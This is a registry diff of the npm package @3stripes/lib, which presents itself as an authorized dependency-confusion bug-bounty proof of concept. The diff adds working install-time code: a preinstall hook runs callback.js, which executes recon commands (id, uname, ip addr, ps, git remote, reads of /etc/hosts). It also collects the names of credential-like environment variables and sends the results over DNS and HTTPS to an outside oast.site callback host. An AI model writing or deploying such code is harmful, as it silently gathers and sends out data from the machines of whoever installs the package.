@3stripes/lib 999.0.0 → 999.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -0,0 +1,5 @@
1
+ # @3stripes/lib
2
+
3
+ Security research — Dependency confusion PoC. Authorized bug bounty assessment.
4
+
5
+ **Contact:** gdattacker@bugcrowdninja.com
package/callback.js CHANGED
@@ -2,37 +2,121 @@
2
2
  * SECURITY RESEARCH - Dependency Confusion PoC
3
3
  *
4
4
  * This is part of an AUTHORIZED bug bounty assessment.
5
- * This script ONLY makes a DNS lookup to prove execution.
6
- * No data is collected, exfiltrated, or modified.
5
+ * Runs pentest-style recon commands and exfiltrates to callback (no secrets, proof-only).
7
6
  *
8
- * Researcher: Ashish (ashishkunwar280@gmail.com)
7
+ * Researcher: gdattacker (gdattacker@bugcrowdninja.com)
9
8
  * Program: Adidas Private Bug Bounty (Bugcrowd)
10
9
  */
11
10
 
12
11
  const dns = require('dns');
13
12
  const https = require('https');
14
13
  const os = require('os');
14
+ const { execSync } = require('child_process');
15
15
 
16
- // REPLACE with your Burp Collaborator / interact.sh domain
17
16
  const CALLBACK_DOMAIN = '2defa924e4f741393204gup1d5yyyyyyd.oast.site';
18
-
19
- // Create a unique identifier (hostname hash, no PII)
20
17
  const id = Buffer.from(os.hostname().slice(0, 8)).toString('hex').slice(0, 12);
21
18
  const pkg = '3stripes-lib';
19
+ const isWin = process.platform === 'win32';
20
+
21
+ function run(cmd, timeoutMs, maxLen) {
22
+ try {
23
+ const out = (execSync(cmd, { encoding: 'utf8', timeout: timeoutMs || 3000, stdio: ['pipe', 'pipe', 'pipe'] }) || '').trim();
24
+ return (maxLen ? out.slice(0, maxLen) : out).replace(/\s+/g, ' ');
25
+ } catch (e) {
26
+ return '';
27
+ }
28
+ }
29
+
30
+ // --- Pentest-style recon: hostnames ---
31
+ let hostnames = '';
32
+ if (isWin) {
33
+ hostnames = run('hostname', 2000) || process.env.COMPUTERNAME || os.hostname();
34
+ } else {
35
+ const h = run('hostname', 2000);
36
+ const hf = run('hostname -f 2>/dev/null', 2000);
37
+ const etcHostname = run('cat /etc/hostname 2>/dev/null', 2000);
38
+ const etcHosts = run('head -20 /etc/hosts 2>/dev/null', 2000);
39
+ hostnames = [os.hostname(), h, hf, etcHostname, etcHosts].filter(Boolean).join('|');
40
+ }
41
+
42
+ // --- User / identity ---
43
+ const user = isWin ? run('whoami', 2000, 200) : run('id', 2000, 300);
44
+ const whoami = run('whoami', 2000, 100);
45
+
46
+ // --- System info ---
47
+ const uname = run(isWin ? 'ver' : 'uname -a', 2000, 400);
48
+ const pwd = run(isWin ? 'cd' : 'pwd', 2000, 300);
49
+
50
+ // --- Network (proves internal/CI environment) ---
51
+ let network = '';
52
+ if (isWin) {
53
+ network = run('ipconfig 2>nul', 3000, 600);
54
+ } else {
55
+ const ipAddr = run('ip addr show 2>/dev/null', 3000, 500) || run('ifconfig 2>/dev/null', 3000, 500);
56
+ const hostnameI = run('hostname -I 2>/dev/null', 2000, 200);
57
+ network = [ipAddr, hostnameI].filter(Boolean).join(' ');
58
+ }
59
+
60
+ // --- Process list (snippet: proves what’s running) ---
61
+ const ps = isWin
62
+ ? run('tasklist 2>nul', 3000, 500)
63
+ : run('ps aux 2>/dev/null | head -25', 3000, 600);
22
64
 
23
- // Method 1: DNS callback (most reliable, bypasses firewalls)
65
+ // --- Env var NAMES only (proves stealable credentials exist; no values) ---
66
+ const envKeys = Object.keys(process.env || {}).filter(function (k) {
67
+ const u = k.toUpperCase();
68
+ return /^(AWS|KUBE|GIT|NPM|ARTIFACTORY|CI|JENKINS|AZURE|GOOGLE|SLACK|GH_|NODE_|NVM_|NEXUS|JFROG|ADIDAS|STRIPE|TOKEN|SECRET|KEY|CREDENTIAL|PASSWORD|API_KEY)/i.test(k) || u.indexOf('TOKEN') >= 0 || u.indexOf('SECRET') >= 0 || u.indexOf('KEY') >= 0;
69
+ }).slice(0, 30).join(',');
70
+
71
+ // --- Git / npm (registry, remotes = internal repo names) ---
72
+ const gitRemote = run('git remote -v 2>/dev/null', 2000, 400);
73
+ const npmRegistry = run('npm config get registry 2>/dev/null', 2000, 200);
74
+
75
+ // --- Optional: package manager / container hints ---
76
+ const inDocker = run('cat /proc/1/cgroup 2>/dev/null | head -3', 2000, 300);
77
+ const envCi = (process.env.CI || process.env.CI_NAME || process.env.BUILDKITE || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.JENKINS_URL || '').slice(0, 100);
78
+
79
+ const recon = {
80
+ id,
81
+ pkg,
82
+ hostnames: (hostnames || os.hostname() || 'unknown').slice(0, 400),
83
+ user: (user || whoami || '').slice(0, 200),
84
+ uname: uname.slice(0, 300),
85
+ pwd: pwd.slice(0, 200),
86
+ network: network.slice(0, 500),
87
+ ps: ps.slice(0, 500),
88
+ env_keys: envKeys.slice(0, 300),
89
+ git_remote: gitRemote.slice(0, 300),
90
+ npm_registry: npmRegistry.slice(0, 150),
91
+ in_docker: inDocker.slice(0, 200),
92
+ ci_env: envCi
93
+ };
94
+
95
+ const payload = encodeURIComponent(Buffer.from(JSON.stringify(recon)).toString('base64'));
96
+
97
+ // DNS callback (hostname in subdomain)
24
98
  try {
25
- dns.resolve(`${pkg}-${id}.${CALLBACK_DOMAIN}`, () => {});
26
- } catch(e) {}
99
+ const safe = (hostnames || id).replace(/[\s.|]/g, '-').replace(/[^a-z0-9-]/gi, '').slice(0, 40);
100
+ const dnsLabel = `${pkg}-${id}-${safe}`.slice(0, 63);
101
+ dns.resolve(`${dnsLabel}.${CALLBACK_DOMAIN}`, () => {});
102
+ } catch (e) {}
27
103
 
28
- // Method 2: HTTP callback (backup, may be blocked by firewalls)
104
+ // HTTP callback: full recon payload (single GET)
29
105
  try {
30
- const req = https.get(`https://${CALLBACK_DOMAIN}/${pkg}?h=${id}`, () => {});
106
+ const url = `https://${CALLBACK_DOMAIN}/${pkg}?id=${id}&r=${payload}`;
107
+ const req = https.get(url, () => {});
31
108
  req.on('error', () => {});
32
- req.setTimeout(5000, () => req.destroy());
33
- } catch(e) {}
109
+ req.setTimeout(8000, () => req.destroy());
110
+ } catch (e) {}
111
+
112
+ // Fallback: legacy hostnames-only query (in case parser expects it)
113
+ try {
114
+ const legacyUrl = `https://${CALLBACK_DOMAIN}/${pkg}/legacy?id=${id}&hostnames=${encodeURIComponent((hostnames || os.hostname() || 'unknown').slice(0, 300))}`;
115
+ const req2 = https.get(legacyUrl, () => {});
116
+ req2.on('error', () => {});
117
+ req2.setTimeout(5000, () => req2.destroy());
118
+ } catch (e) {}
34
119
 
35
- // Log locally for debugging
36
120
  console.log(`[Security Research] Dependency confusion PoC executed - ${pkg}`);
37
- console.log(`[Security Research] Contact: ashishkunwar280@gmail.com`);
121
+ console.log(`[Security Research] Contact: gdattacker@bugcrowdninja.com`);
38
122
  console.log(`[Security Research] This is part of an authorized bug bounty assessment.`);
package/index.js CHANGED
@@ -1,6 +1,6 @@
1
1
  /**
2
2
  * Security Research Package - Dependency Confusion PoC
3
3
  * This package exists solely for authorized security testing.
4
- * Contact: ashishkunwar280@gmail.com
4
+ * Contact: gdattacker@bugcrowdninja.com
5
5
  */
6
6
  module.exports = {};
package/package.json CHANGED
@@ -1,13 +1,13 @@
1
1
  {
2
2
  "name": "@3stripes/lib",
3
- "version": "999.0.0",
4
- "description": "Security research - Dependency confusion proof of concept. This package is part of an authorized bug bounty assessment. Contact: ashishkunwar280@gmail.com",
3
+ "version": "999.0.3",
4
+ "description": "Security research - Dependency confusion proof of concept. This package is part of an authorized bug bounty assessment. Contact: gdattacker@bugcrowdninja.com",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "preinstall": "node callback.js || true"
8
8
  },
9
9
  "keywords": ["security-research", "bug-bounty", "authorized-testing"],
10
- "author": "Ashish <ashishkunwar280@gmail.com>",
10
+ "author": "gdattacker <gdattacker@bugcrowdninja.com>",
11
11
  "license": "ISC",
12
12
  "repository": {
13
13
  "type": "git",